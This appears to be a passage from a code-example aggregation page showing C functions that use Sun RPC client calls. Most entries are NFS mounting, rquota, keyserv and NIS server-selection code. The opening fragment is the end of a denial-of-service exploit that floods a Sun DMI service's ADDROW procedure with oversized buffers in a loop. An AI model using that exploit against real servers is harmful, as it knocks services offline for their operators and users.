     perror("gethostbyname");
     exit(-1);

}

     memcpy(&us.sin_addr.s_addr, hp->h_addr, 4);

us.sin_family = AF_INET;
us.sin_port   = 0;

if((cli = clntudp_create(&us, PROG_NUM, PROG_VER, tm, &usock)) == (CLIENT *)NULL)
{

     clnt_pcreateerror("clntudp_create");
     exit(-1);

}

cli->cl_auth = authunix_create_default();

     memset(b, 'A', sizeof(b));

buf = b;

     printf("\nConsuming Resources @ %s [P:%d V:%d F:%d]...\n\n", target, PROG_NUM, PROG_VER, DMIPROC_ADDROW);

for(i = 0; i < LOOP; i++)
{

     printf("--> #%d\n", i+1);

clnt_stat = clnt_call(cli, DMIPROC_ADDROW, (xdrproc_t)xdr_wrapstring, (char *)&buf, (xdrproc_t)xdr_wrapstring, (char *)&buf, tm);

if(clnt_stat != RPC_SUCCESS) clnt_perror(cli, "rpc");

}

     printf("\nFinished. Now your sun server may recover :)\n\n"); // restart dmi services to try again

     auth_destroy(cli->cl_auth);
     clnt_destroy(cli);

}
Пример #17
0
static int do_rquota_user(struct fs_quota_root *root, bool bytes,
			  uint64_t *value_r, uint64_t *limit_r)
{
	struct getquota_rslt result;
	struct getquota_args args;
	struct timeval timeout;
	enum clnt_stat call_status;
	CLIENT *cl;
	struct fs_quota_mountpoint *mount = root->mount;
	const char *host;
	char *path;

	path = strchr(mount->device_path, ':');
	i_assert(path != NULL);

	host = t_strdup_until(mount->device_path, path);
	path++;

	/* For NFSv4, we send the filesystem path without initial /. Server
	   prepends proper NFS pseudoroot automatically and uses this for
	   detection of NFSv4 mounts. */
	if (strcmp(root->mount->type, "nfs4") == 0) {
		while (*path == '/')
			path++;
	}

	if (root->root.quota->set->debug) {
		i_debug("quota-fs: host=%s, path=%s, uid=%s, %s",
			host, path, dec2str(root->uid),
			bytes ? "bytes" : "files");
	}

	/* clnt_create() polls for a while to establish a connection */
	cl = clnt_create(host, RQUOTAPROG, RQUOTAVERS, "udp");
	if (cl == NULL) {
		i_error("quota-fs: could not contact RPC service on %s",
			host);
		return -1;
	}

	/* Establish some RPC credentials */
	auth_destroy(cl->cl_auth);
	cl->cl_auth = authunix_create_default();

	/* make the rquota call on the remote host */
	args.gqa_pathp = path;
	args.gqa_uid = root->uid;

	timeout.tv_sec = RQUOTA_GETQUOTA_TIMEOUT_SECS;
	timeout.tv_usec = 0;
	call_status = clnt_call(cl, RQUOTAPROC_GETQUOTA,
				(xdrproc_t)xdr_getquota_args, (char *)&args,
				(xdrproc_t)xdr_getquota_rslt, (char *)&result,
				timeout);
	
	/* the result has been deserialized, let the client go */
	auth_destroy(cl->cl_auth);
	clnt_destroy(cl);

	if (call_status != RPC_SUCCESS) {
		const char *rpc_error_msg = clnt_sperrno(call_status);

		i_error("quota-fs: remote rquota call failed: %s",
			rpc_error_msg);
		return -1;
	}

	switch (result.status) {
	case Q_OK: {
		rquota_get_result(&result.getquota_rslt_u.gqr_rquota, bytes,
				  value_r, limit_r);
		if (root->root.quota->set->debug) {
			i_debug("quota-fs: uid=%s, value=%llu, limit=%llu",
				dec2str(root->uid),
				(unsigned long long)*value_r,
				(unsigned long long)*limit_r);
		}
		return 1;
	}
	case Q_NOQUOTA:
		if (root->root.quota->set->debug) {
			i_debug("quota-fs: uid=%s, limit=unlimited",
				dec2str(root->uid));
		}
		return 1;
	case Q_EPERM:
		i_error("quota-fs: permission denied to rquota service");
		return -1;
	default:
		i_error("quota-fs: unrecognized status code (%d) "
			"from rquota service", result.status);
		return -1;
	}
}
Пример #18
0
CLIENT *
getkwarnd_handle(void)
{
	void *localhandle;
	struct netconfig *nconf;
	struct netconfig *tpconf;
	struct timeval wait_time;
	struct utsname u;
	static char *hostname;
	static bool_t first_time = TRUE;

/*
 * Total timeout (in seconds) talking to kwarnd.
 */
#define	TOTAL_TIMEOUT	5

	if (kwarn_clnt)
		return (kwarn_clnt);
	if (!(localhandle = setnetconfig()))
		return (NULL);
	tpconf = NULL;
	if (first_time == TRUE) {
		if (uname(&u) == -1) {
			(void) endnetconfig(localhandle);
			return ((CLIENT *)NULL);
		}
		if ((hostname = strdup(u.nodename)) == (char *)NULL) {
			(void) endnetconfig(localhandle);
			return ((CLIENT *)NULL);
		}
		first_time = FALSE;
	}
	while (nconf = getnetconfig(localhandle)) {
		if (strcmp(nconf->nc_protofmly, NC_LOOPBACK) == 0) {
			if (nconf->nc_semantics == NC_TPI_COTS_ORD) {
				kwarn_clnt = clnt_tp_create(hostname,
				    KWARNPROG, KWARNVERS, nconf);
				if (kwarn_clnt) {
					dprt("got COTS_ORD\n");
					break;
				}
			} else {
				tpconf = nconf;
			}
		}
	}
	if ((kwarn_clnt == NULL) && (tpconf)) {

		/* Now, try the connection-oriented loopback transport */

		kwarn_clnt = clnt_tp_create(hostname, KWARNPROG, KWARNVERS,
		    tpconf);
#ifdef DEBUG
		if (kwarn_clnt) {
			dprt("got COTS\n");
		}
#endif	/* DEBUG */
	}
	(void) endnetconfig(localhandle);

	/*
	 * This bit of code uses an as yet unimplemented argument to
	 * clnt_control(). CLSET_SVC_PRIV specifies that the underlying
	 * loopback transport should be checked to ensure it is
	 * connected to a process running as root. If so, the clnt_control()
	 * call returns TRUE. If not, it returns FALSE.
	 */

#ifdef CLSET_SVC_PRIV

	if (clnt_control(kwarn_clnt, CLSET_SVC_PRIV, NULL) != TRUE) {
		clnt_destroy(kwarn_clnt);
		kwarn_clnt = NULL;
		return (NULL);
	{
#endif
	if (kwarn_clnt == NULL)
		return (NULL);

	kwarn_clnt->cl_auth = authsys_create("", getuid(), 0, 0, NULL);
	if (kwarn_clnt->cl_auth == NULL) {
		clnt_destroy(kwarn_clnt);
		kwarn_clnt = NULL;
		return (NULL);
	}
	wait_time.tv_sec = TOTAL_TIMEOUT;
	wait_time.tv_usec = 0;
	(void) clnt_control(kwarn_clnt, CLSET_TIMEOUT, (char *)&wait_time);

	return (kwarn_clnt);
}

void
resetkwarnd_handle(void)
{
	auth_destroy(kwarn_clnt->cl_auth);
	clnt_destroy(kwarn_clnt);
	kwarn_clnt = NULL;
}
Пример #19
0
/*
 * RPC calls to the keyserv.
 *
 * If (use_ruid == 1), use real uid.
 * If (use_ruid == 0), use effective uid.
 * Returns  0 on failure, 1 on success
 */
int
key_call_ext(rpcproc_t proc, xdrproc_t xdr_arg, char *arg, xdrproc_t xdr_rslt,
						char *rslt, int use_ruid)
{
	CLIENT		*clnt;
	struct timeval	wait_time = {0, 0};
	enum clnt_stat	status;
	int		vers;

	if (proc == KEY_ENCRYPT_PK && __key_encryptsession_pk_LOCAL) {
		cryptkeyres res;
		bool_t r;
		r = (*__key_encryptsession_pk_LOCAL)(geteuid(), arg, &res);
		if (r == TRUE) {
/* LINTED pointer alignment */
			*(cryptkeyres*)rslt = res;
			return (1);
		}
		return (0);
	}
	if (proc == KEY_DECRYPT_PK && __key_decryptsession_pk_LOCAL) {
		cryptkeyres res;
		bool_t r;
		r = (*__key_decryptsession_pk_LOCAL)(geteuid(), arg, &res);
		if (r == TRUE) {
/* LINTED pointer alignment */
			*(cryptkeyres*)rslt = res;
			return (1);
		}
		return (0);
	}
	if (proc == KEY_GEN && __key_gendes_LOCAL) {
		des_block res;
		bool_t r;
		r = (*__key_gendes_LOCAL)(geteuid(), 0, &res);
		if (r == TRUE) {
/* LINTED pointer alignment */
			*(des_block*)rslt = res;
			return (1);
		}
		return (0);
	}

	if ((proc == KEY_ENCRYPT_PK) || (proc == KEY_DECRYPT_PK) ||
	    (proc == KEY_NET_GET) || (proc == KEY_NET_PUT) ||
	    (proc == KEY_GET_CONV))
		vers = 2;	/* talk to version 2 */
	else
		vers = 1;	/* talk to version 1 */

	clnt = getkeyserv_handle(vers, 0);
	if (clnt == NULL)
		return (0);

	auth_destroy(clnt->cl_auth);
	if (use_ruid)
		clnt->cl_auth = authsys_create_ruid();
	else
		clnt->cl_auth = authnone_create();

	status = CLNT_CALL(clnt, proc, xdr_arg, arg, xdr_rslt,
			rslt, wait_time);

	switch (status) {
	case RPC_SUCCESS:
		return (1);

	case RPC_CANTRECV:
		/*
		 * keyserv was probably restarted, so we'll try once more
		 */
		if ((clnt = getkeyserv_handle(vers, 1)) == NULL)
			return (0);

		auth_destroy(clnt->cl_auth);
		if (use_ruid)
			clnt->cl_auth = authsys_create_ruid();
		else
			clnt->cl_auth = authnone_create();


		if (CLNT_CALL(clnt, proc, xdr_arg, arg, xdr_rslt, rslt,
						wait_time) == RPC_SUCCESS)
			return (1);
		return (0);

	default:
		return (0);
	}
}
Пример #20
0
static long int
__nis_findfastest_with_timeout (dir_binding *bind,
				const struct timeval *timeout)
{
  static const struct timeval TIMEOUT00 = { 0, 0 };
  struct findserv_req *pings;
  struct sockaddr_in sin, saved_sin;
  int found = -1;
  u_int32_t xid_seed;
  int sock, dontblock = 1;
  CLIENT *clnt;
  u_long i, j, pings_count, pings_max, fastest = -1;
  struct cu_data *cu;

  pings_max = bind->server_len * 2;	/* Reserve a little bit more memory
					   for multihomed hosts */
  pings_count = 0;
  pings = malloc (sizeof (struct findserv_req) * pings_max);
  xid_seed = (u_int32_t) (time (NULL) ^ getpid ());

  if (__builtin_expect (pings == NULL, 0))
    return -1;

  memset (&sin, '\0', sizeof (sin));
  sin.sin_family = AF_INET;
  for (i = 0; i < bind->server_len; i++)
    for (j = 0; j < bind->server_val[i].ep.ep_len; ++j)
      if (strcmp (bind->server_val[i].ep.ep_val[j].family, "inet") == 0)
	if ((bind->server_val[i].ep.ep_val[j].proto == NULL) ||
	    (bind->server_val[i].ep.ep_val[j].proto[0] == '-') ||
	    (bind->server_val[i].ep.ep_val[j].proto[0] == '\0'))
	  {
	    sin.sin_addr.s_addr =
	      inetstr2int (bind->server_val[i].ep.ep_val[j].uaddr);
	    if (sin.sin_addr.s_addr == 0)
	      continue;
	    sin.sin_port = htons (__pmap_getnisport (&sin, NIS_PROG,
						     NIS_VERSION,
						     IPPROTO_UDP));
	    if (sin.sin_port == 0)
	      continue;

	    if (pings_count >= pings_max)
	      {
		struct findserv_req *new_pings;

		pings_max += 10;
		new_pings = realloc (pings, sizeof (struct findserv_req) *
				     pings_max);
		if (__builtin_expect (new_pings == NULL, 0))
		  {
		    free (pings);
		    return -1;
		  }
		pings = new_pings;
	      }
	    memcpy ((char *) &pings[pings_count].sin, (char *) &sin,
		    sizeof (sin));
	    memcpy ((char *)&saved_sin, (char *)&sin, sizeof(sin));
	    pings[pings_count].xid = xid_seed + pings_count;
	    pings[pings_count].server_nr = i;
	    pings[pings_count].server_ep = j;
	    ++pings_count;
	  }

  /* Make sure at least one server was assigned */
  if (pings_count == 0)
    {
      free (pings);
      return -1;
    }

  /* Create RPC handle */
  sock = socket (AF_INET, SOCK_DGRAM, IPPROTO_UDP);
  clnt = clntudp_create (&saved_sin, NIS_PROG, NIS_VERSION, *timeout, &sock);
  if (clnt == NULL)
    {
      close (sock);
      free (pings);
      return -1;
    }
  auth_destroy (clnt->cl_auth);
  clnt->cl_auth = authunix_create_default ();
  cu = (struct cu_data *) clnt->cl_private;
  ioctl (sock, FIONBIO, &dontblock);
  /* Send to all servers the NULLPROC */
  for (i = 0; i < pings_count; ++i)
    {
      /* clntudp_call() will increment, subtract one */
      *((u_int32_t *) (cu->cu_outbuf)) = pings[i].xid - 1;
      memcpy ((char *) &cu->cu_raddr, (char *) &pings[i].sin,
	      sizeof (struct sockaddr_in));
      /* Transmit to NULLPROC, return immediately. */
      clnt_call (clnt, NULLPROC,
		 (xdrproc_t) xdr_void, (caddr_t) 0,
		 (xdrproc_t) xdr_void, (caddr_t) 0, TIMEOUT00);
    }

  while (found == -1) {
    /* Receive reply from NULLPROC asynchronously. Note null inproc. */
    int rc = clnt_call (clnt, NULLPROC,
			(xdrproc_t) NULL, (caddr_t) 0,
			(xdrproc_t) xdr_void, (caddr_t) 0,
			*timeout);
    if (RPC_SUCCESS == rc) {
      u_int32_t val;
      memcpy (&val, cu->cu_inbuf, sizeof (u_int32_t));
      fastest = val - xid_seed;
      if (fastest < pings_count) {
	bind->server_used = pings[fastest].server_nr;
	bind->current_ep = pings[fastest].server_ep;
	found = 1;
      }
    } else {
      /*      clnt_perror(clnt, "__nis_findfastest"); */
      break;
    }
  }


  auth_destroy (clnt->cl_auth);
  clnt_destroy (clnt);
  close (sock);

  free (pings);

  return found;
}
Пример #21
0
int nfsmount(const char *spec, const char *node, int *flags,
	     char **extra_opts, char **mount_opts, int running_bg)
{
	static char *prev_bg_host;
	char hostdir[1024];
	CLIENT *mclient;
	char *hostname;
	char *pathname;
	char *old_opts;
	char *mounthost=NULL;
	char new_opts[1024];
	struct timeval total_timeout;
	enum clnt_stat clnt_stat;
	static struct nfs_mount_data data;
	char *opt, *opteq;
	int val;
	struct hostent *hp;
	struct sockaddr_in server_addr;
	struct sockaddr_in mount_server_addr;
	struct pmap* pm_mnt;
	int msock, fsock;
	struct timeval retry_timeout;
	union {
		struct fhstatus nfsv2;
		struct mountres3 nfsv3;
	} status;
	struct stat statbuf;
	char *s;
	int port;
	int mountport;
	int proto;
	int bg;
	int soft;
	int intr;
	int posix;
	int nocto;
	int noac;
	int nolock;
	int retry;
	int tcp;
	int mountprog;
	int mountvers;
	int nfsprog;
	int nfsvers;
	int retval;
	time_t t;
	time_t prevt;
	time_t timeout;

	find_kernel_nfs_mount_version();

	retval = EX_FAIL;
	msock = fsock = -1;
	mclient = NULL;
	if (strlen(spec) >= sizeof(hostdir)) {
		bb_error_msg("excessively long host:dir argument");
		goto fail;
	}
	strcpy(hostdir, spec);
	if ((s = strchr(hostdir, ':'))) {
		hostname = hostdir;
		pathname = s + 1;
		*s = '\0';
		/* Ignore all but first hostname in replicated mounts
		   until they can be fully supported. ([email protected]) */
		if ((s = strchr(hostdir, ','))) {
			*s = '\0';
			bb_error_msg("warning: multiple hostnames not supported");
		}
	} else {
		bb_error_msg("directory to mount not in host:dir format");
		goto fail;
	}

	server_addr.sin_family = AF_INET;
#ifdef HAVE_inet_aton
	if (!inet_aton(hostname, &server_addr.sin_addr))
#endif
	{
		if ((hp = gethostbyname(hostname)) == NULL) {
			bb_herror_msg("%s", hostname);
			goto fail;
		} else {
			if (hp->h_length > sizeof(struct in_addr)) {
				bb_error_msg("got bad hp->h_length");
				hp->h_length = sizeof(struct in_addr);
			}
			memcpy(&server_addr.sin_addr,
			       hp->h_addr, hp->h_length);
		}
	}

	memcpy (&mount_server_addr, &server_addr, sizeof (mount_server_addr));

	/* add IP address to mtab options for use when unmounting */

	s = inet_ntoa(server_addr.sin_addr);
	old_opts = *extra_opts;
	if (!old_opts)
		old_opts = "";
	if (strlen(old_opts) + strlen(s) + 10 >= sizeof(new_opts)) {
		bb_error_msg("excessively long option argument");
		goto fail;
	}
	sprintf(new_opts, "%s%saddr=%s",
		old_opts, *old_opts ? "," : "", s);
	*extra_opts = bb_xstrdup(new_opts);

	/* Set default options.
	 * rsize/wsize (and bsize, for ver >= 3) are left 0 in order to
	 * let the kernel decide.
	 * timeo is filled in after we know whether it'll be TCP or UDP. */
	memset(&data, 0, sizeof(data));
	data.retrans	= 3;
	data.acregmin	= 3;
	data.acregmax	= 60;
	data.acdirmin	= 30;
	data.acdirmax	= 60;
#if NFS_MOUNT_VERSION >= 2
	data.namlen	= NAME_MAX;
#endif

	bg = 0;
	soft = 0;
	intr = 0;
	posix = 0;
	nocto = 0;
	nolock = 0;
	noac = 0;
	retry = 10000;		/* 10000 minutes ~ 1 week */
	tcp = 0;

	mountprog = MOUNTPROG;
	mountvers = 0;
	port = 0;
	mountport = 0;
	nfsprog = NFS_PROGRAM;
	nfsvers = 0;

	/* parse options */

	for (opt = strtok(old_opts, ","); opt; opt = strtok(NULL, ",")) {
		if ((opteq = strchr(opt, '='))) {
			val = atoi(opteq + 1);	
			*opteq = '\0';
			if (!strcmp(opt, "rsize"))
				data.rsize = val;
			else if (!strcmp(opt, "wsize"))
				data.wsize = val;
			else if (!strcmp(opt, "timeo"))
				data.timeo = val;
			else if (!strcmp(opt, "retrans"))
				data.retrans = val;
			else if (!strcmp(opt, "acregmin"))
				data.acregmin = val;
			else if (!strcmp(opt, "acregmax"))
				data.acregmax = val;
			else if (!strcmp(opt, "acdirmin"))
				data.acdirmin = val;
			else if (!strcmp(opt, "acdirmax"))
				data.acdirmax = val;
			else if (!strcmp(opt, "actimeo")) {
				data.acregmin = val;
				data.acregmax = val;
				data.acdirmin = val;
				data.acdirmax = val;
			}
			else if (!strcmp(opt, "retry"))
				retry = val;
			else if (!strcmp(opt, "port"))
				port = val;
			else if (!strcmp(opt, "mountport"))
			        mountport = val;
			else if (!strcmp(opt, "mounthost"))
			        mounthost=bb_xstrndup(opteq+1,
						  strcspn(opteq+1," \t\n\r,"));
			else if (!strcmp(opt, "mountprog"))
				mountprog = val;
			else if (!strcmp(opt, "mountvers"))
				mountvers = val;
			else if (!strcmp(opt, "nfsprog"))
				nfsprog = val;
			else if (!strcmp(opt, "nfsvers") ||
				 !strcmp(opt, "vers"))
				nfsvers = val;
			else if (!strcmp(opt, "proto")) {
				if (!strncmp(opteq+1, "tcp", 3))
					tcp = 1;
				else if (!strncmp(opteq+1, "udp", 3))
					tcp = 0;
				else
					printf(_("Warning: Unrecognized proto= option.\n"));
			} else if (!strcmp(opt, "namlen")) {
#if NFS_MOUNT_VERSION >= 2
				if (nfs_mount_version >= 2)
					data.namlen = val;
				else
#endif
				printf(_("Warning: Option namlen is not supported.\n"));
			} else if (!strcmp(opt, "addr"))
				/* ignore */;
			else {
				printf(_("unknown nfs mount parameter: "
				       "%s=%d\n"), opt, val);
				goto fail;
			}
		}
		else {
			val = 1;
			if (!strncmp(opt, "no", 2)) {
				val = 0;
				opt += 2;
			}
			if (!strcmp(opt, "bg")) 
				bg = val;
			else if (!strcmp(opt, "fg")) 
				bg = !val;
			else if (!strcmp(opt, "soft"))
				soft = val;
			else if (!strcmp(opt, "hard"))
				soft = !val;
			else if (!strcmp(opt, "intr"))
				intr = val;
			else if (!strcmp(opt, "posix"))
				posix = val;
			else if (!strcmp(opt, "cto"))
				nocto = !val;
			else if (!strcmp(opt, "ac"))
				noac = !val;
			else if (!strcmp(opt, "tcp"))
				tcp = val;
			else if (!strcmp(opt, "udp"))
				tcp = !val;
			else if (!strcmp(opt, "lock")) {
				if (nfs_mount_version >= 3)
					nolock = !val;
				else
					printf(_("Warning: option nolock is not supported.\n"));
			} else {
				printf(_("unknown nfs mount option: "
					   "%s%s\n"), val ? "" : "no", opt);
				goto fail;
			}
		}
	}
	proto = (tcp) ? IPPROTO_TCP : IPPROTO_UDP;

	data.flags = (soft ? NFS_MOUNT_SOFT : 0)
		| (intr ? NFS_MOUNT_INTR : 0)
		| (posix ? NFS_MOUNT_POSIX : 0)
		| (nocto ? NFS_MOUNT_NOCTO : 0)
		| (noac ? NFS_MOUNT_NOAC : 0);
#if NFS_MOUNT_VERSION >= 2
	if (nfs_mount_version >= 2)
		data.flags |= (tcp ? NFS_MOUNT_TCP : 0);
#endif
#if NFS_MOUNT_VERSION >= 3
	if (nfs_mount_version >= 3)
		data.flags |= (nolock ? NFS_MOUNT_NONLM : 0);
#endif
	if (nfsvers > MAX_NFSPROT) {
		bb_error_msg("NFSv%d not supported!", nfsvers);
		return 0;
	}
	if (mountvers > MAX_NFSPROT) {
		bb_error_msg("NFSv%d not supported!", nfsvers);
		return 0;
	}
	if (nfsvers && !mountvers)
		mountvers = (nfsvers < 3) ? 1 : nfsvers;
	if (nfsvers && nfsvers < mountvers) {
		mountvers = nfsvers;
	}

	/* Adjust options if none specified */
	if (!data.timeo)
		data.timeo = tcp ? 70 : 7;

#ifdef NFS_MOUNT_DEBUG
	printf("rsize = %d, wsize = %d, timeo = %d, retrans = %d\n",
		data.rsize, data.wsize, data.timeo, data.retrans);
	printf("acreg (min, max) = (%d, %d), acdir (min, max) = (%d, %d)\n",
		data.acregmin, data.acregmax, data.acdirmin, data.acdirmax);
	printf("port = %d, bg = %d, retry = %d, flags = %.8x\n",
		port, bg, retry, data.flags);
	printf("mountprog = %d, mountvers = %d, nfsprog = %d, nfsvers = %d\n",
		mountprog, mountvers, nfsprog, nfsvers);
	printf("soft = %d, intr = %d, posix = %d, nocto = %d, noac = %d\n",
		(data.flags & NFS_MOUNT_SOFT) != 0,
		(data.flags & NFS_MOUNT_INTR) != 0,
		(data.flags & NFS_MOUNT_POSIX) != 0,
		(data.flags & NFS_MOUNT_NOCTO) != 0,
		(data.flags & NFS_MOUNT_NOAC) != 0);
#if NFS_MOUNT_VERSION >= 2
	printf("tcp = %d\n",
		(data.flags & NFS_MOUNT_TCP) != 0);
#endif
#endif

	data.version = nfs_mount_version;
	*mount_opts = (char *) &data;

	if (*flags & MS_REMOUNT)
		return 0;

	/*
	 * If the previous mount operation on the same host was
	 * backgrounded, and the "bg" for this mount is also set,
	 * give up immediately, to avoid the initial timeout.
	 */
	if (bg && !running_bg &&
	    prev_bg_host && strcmp(hostname, prev_bg_host) == 0) {
		if (retry > 0)
			retval = EX_BG;
		return retval;
	}

	/* create mount deamon client */
	/* See if the nfs host = mount host. */
	if (mounthost) {
	  if (mounthost[0] >= '0' && mounthost[0] <= '9') {
	    mount_server_addr.sin_family = AF_INET;
	    mount_server_addr.sin_addr.s_addr = inet_addr(hostname);
	  } else {
		  if ((hp = gethostbyname(mounthost)) == NULL) {
			  bb_herror_msg("%s", mounthost);
			  goto fail;
		  } else {
			  if (hp->h_length > sizeof(struct in_addr)) {
				  bb_error_msg("got bad hp->h_length?");
				  hp->h_length = sizeof(struct in_addr);
			  }
			  mount_server_addr.sin_family = AF_INET;
			  memcpy(&mount_server_addr.sin_addr,
				 hp->h_addr, hp->h_length);
		  }
	  }
	}

	/*
	 * The following loop implements the mount retries. On the first
	 * call, "running_bg" is 0. When the mount times out, and the
	 * "bg" option is set, the exit status EX_BG will be returned.
	 * For a backgrounded mount, there will be a second call by the
	 * child process with "running_bg" set to 1.
	 *
	 * The case where the mount point is not present and the "bg"
	 * option is set, is treated as a timeout. This is done to
	 * support nested mounts.
	 *
	 * The "retry" count specified by the user is the number of
	 * minutes to retry before giving up.
	 *
	 * Only the first error message will be displayed.
	 */
	retry_timeout.tv_sec = 3;
	retry_timeout.tv_usec = 0;
	total_timeout.tv_sec = 20;
	total_timeout.tv_usec = 0;
	timeout = time(NULL) + 60 * retry;
	prevt = 0;
	t = 30;
	val = 1;
	for (;;) {
		if (bg && stat(node, &statbuf) == -1) {
			if (running_bg) {
				sleep(val);	/* 1, 2, 4, 8, 16, 30, ... */
				val *= 2;
				if (val > 30)
					val = 30;
			}
		} else {
			/* be careful not to use too many CPU cycles */
			if (t - prevt < 30)
				sleep(30);

			pm_mnt = get_mountport(&mount_server_addr,
				       mountprog,
				       mountvers,
				       proto,
 				       mountport);

			/* contact the mount daemon via TCP */
			mount_server_addr.sin_port = htons(pm_mnt->pm_port);
			msock = RPC_ANYSOCK;

			switch (pm_mnt->pm_prot) {
			case IPPROTO_UDP:
				mclient = clntudp_create(&mount_server_addr,
						 pm_mnt->pm_prog,
						 pm_mnt->pm_vers,
						 retry_timeout,
						 &msock);
		  if (mclient)
			  break;
		  mount_server_addr.sin_port = htons(pm_mnt->pm_port);
		  msock = RPC_ANYSOCK;
		case IPPROTO_TCP:
			mclient = clnttcp_create(&mount_server_addr,
						 pm_mnt->pm_prog,
						 pm_mnt->pm_vers,
						 &msock, 0, 0);
			break;
		default:
			mclient = 0;
			}
			if (mclient) {
				/* try to mount hostname:pathname */
				mclient->cl_auth = authunix_create_default();

			/* make pointers in xdr_mountres3 NULL so
			 * that xdr_array allocates memory for us
			 */
			memset(&status, 0, sizeof(status));

			if (pm_mnt->pm_vers == 3)
				clnt_stat = clnt_call(mclient, MOUNTPROC3_MNT,
						      (xdrproc_t) xdr_dirpath,
						      (caddr_t) &pathname,
						      (xdrproc_t) xdr_mountres3,
						      (caddr_t) &status,
					total_timeout);
			else
				clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
						      (xdrproc_t) xdr_dirpath,
						      (caddr_t) &pathname,
						      (xdrproc_t) xdr_fhstatus,
						      (caddr_t) &status,
						      total_timeout);

				if (clnt_stat == RPC_SUCCESS)
					break;		/* we're done */
				if (errno != ECONNREFUSED) {
					clnt_perror(mclient, "mount");
					goto fail;	/* don't retry */
				}
				if (!running_bg && prevt == 0)
					clnt_perror(mclient, "mount");
				auth_destroy(mclient->cl_auth);
				clnt_destroy(mclient);
				mclient = 0;
				close(msock);
			} else {
				if (!running_bg && prevt == 0)
					clnt_pcreateerror("mount");
			}
			prevt = t;
		}
		if (!bg)
		        goto fail;
		if (!running_bg) {
			prev_bg_host = bb_xstrdup(hostname);
			if (retry > 0)
				retval = EX_BG;
			goto fail;
		}
		t = time(NULL);
		if (t >= timeout)
			goto fail;
	}
	nfsvers = (pm_mnt->pm_vers < 2) ? 2 : pm_mnt->pm_vers;

	if (nfsvers == 2) {
		if (status.nfsv2.fhs_status != 0) {
			bb_error_msg("%s:%s failed, reason given by server: %s",
				hostname, pathname,
				nfs_strerror(status.nfsv2.fhs_status));
			goto fail;
		}
		memcpy(data.root.data,
		       (char *) status.nfsv2.fhstatus_u.fhs_fhandle,
		       NFS_FHSIZE);
#if NFS_MOUNT_VERSION >= 4
		data.root.size = NFS_FHSIZE;
		memcpy(data.old_root.data,
		       (char *) status.nfsv2.fhstatus_u.fhs_fhandle,
		       NFS_FHSIZE);
#endif
	} else {
#if NFS_MOUNT_VERSION >= 4
		fhandle3 *my_fhandle;
		if (status.nfsv3.fhs_status != 0) {
			bb_error_msg("%s:%s failed, reason given by server: %s",
				hostname, pathname,
				nfs_strerror(status.nfsv3.fhs_status));
			goto fail;
		}
		my_fhandle = &status.nfsv3.mountres3_u.mountinfo.fhandle;
		memset(data.old_root.data, 0, NFS_FHSIZE);
		memset(&data.root, 0, sizeof(data.root));
		data.root.size = my_fhandle->fhandle3_len;
		memcpy(data.root.data,
		       (char *) my_fhandle->fhandle3_val,
		       my_fhandle->fhandle3_len);

		data.flags |= NFS_MOUNT_VER3;
#endif
	}

	/* create nfs socket for kernel */

	if (tcp) {
		if (nfs_mount_version < 3) {
	     		printf(_("NFS over TCP is not supported.\n"));
			goto fail;
		}
		fsock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
	} else
		fsock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if (fsock < 0) {
		perror(_("nfs socket"));
		goto fail;
	}
	if (bindresvport(fsock, 0) < 0) {
		perror(_("nfs bindresvport"));
		goto fail;
	}
	if (port == 0) {
		server_addr.sin_port = PMAPPORT;
		port = pmap_getport(&server_addr, nfsprog, nfsvers,
			tcp ? IPPROTO_TCP : IPPROTO_UDP);
		if (port == 0)
			port = NFS_PORT;
#ifdef NFS_MOUNT_DEBUG
		else
			printf(_("used portmapper to find NFS port\n"));
#endif
	}
#ifdef NFS_MOUNT_DEBUG
	printf(_("using port %d for nfs deamon\n"), port);
#endif
	server_addr.sin_port = htons(port);
	 /*
	  * connect() the socket for kernels 1.3.10 and below only,
	  * to avoid problems with multihomed hosts.
	  * --Swen
	  */
	if (get_kernel_revision() <= 66314
	    && connect(fsock, (struct sockaddr *) &server_addr,
		       sizeof (server_addr)) < 0) {
		perror(_("nfs connect"));
		goto fail;
	}

	/* prepare data structure for kernel */

	data.fd = fsock;
	memcpy((char *) &data.addr, (char *) &server_addr, sizeof(data.addr));
	strncpy(data.hostname, hostname, sizeof(data.hostname));

	/* clean up */

	auth_destroy(mclient->cl_auth);
	clnt_destroy(mclient);
	close(msock);
	return 0;

	/* abort */

fail:
	if (msock != -1) {
		if (mclient) {
			auth_destroy(mclient->cl_auth);
			clnt_destroy(mclient);
		}
		close(msock);
	}
	if (fsock != -1)
		close(fsock);
	return retval;
}	
Пример #22
0
int
rtime(struct knetconfig *synconfig, struct netbuf *addrp, int calltype,
	struct timeval *timep, struct timeval *wait)
{
	int			error;
	int			timo;
	time_t			thetime;
	int32_t			srvtime;
	uint32_t		dummy;
	struct t_kunitdata	*unitdata;
	struct t_call		*server;
	TIUSER			*tiptr;
	int			type;
	int			uderr;
	int			i;
	int			retries;
	mblk_t			*mp;
	mblk_t			*mp2;

	retries = 5;
	if (calltype == 0) {
again:
		RPCLOG0(8, "rtime: using old method\n");
		if ((error = t_kopen(NULL, synconfig->knc_rdev,
		    FREAD|FWRITE, &tiptr, CRED())) != 0) {
			RPCLOG(1, "rtime: t_kopen %d\n", error);
			return (-1);
		}

		if ((error = t_kbind(tiptr, NULL, NULL)) != 0) {
			(void) t_kclose(tiptr, 1);
			RPCLOG(1, "rtime: t_kbind %d\n", error);
			return (-1);
		}

		if (synconfig->knc_semantics == NC_TPI_CLTS) {
			if ((error = t_kalloc(tiptr, T_UNITDATA,
			    T_UDATA|T_ADDR, (char **)&unitdata)) != 0) {
				RPCLOG(1, "rtime: t_kalloc %d\n", error);
				(void) t_kclose(tiptr, 1);
				return (-1);
			}

			unitdata->addr.len = addrp->len;
			bcopy(addrp->buf, unitdata->addr.buf,
			    unitdata->addr.len);

			dummy = 0;
			unitdata->udata.buf = (caddr_t)&dummy;
			unitdata->udata.len = sizeof (dummy);

			if ((error = t_ksndudata(tiptr, unitdata, NULL)) !=
			    0) {
				RPCLOG(1, "rtime: t_ksndudata %d\n", error);
				(void) t_kfree(tiptr, (char *)unitdata,
				    T_UNITDATA);
				(void) t_kclose(tiptr, 1);
				return (-1);
			}

			timo = TIMEVAL_TO_TICK(wait);

			RPCLOG(8, "rtime: timo %x\n", timo);
			if ((error = t_kspoll(tiptr, timo, READWAIT,
			    &type)) != 0) {
				RPCLOG(1, "rtime: t_kspoll %d\n", error);
				(void) t_kfree(tiptr, (char *)unitdata,
				    T_UNITDATA);
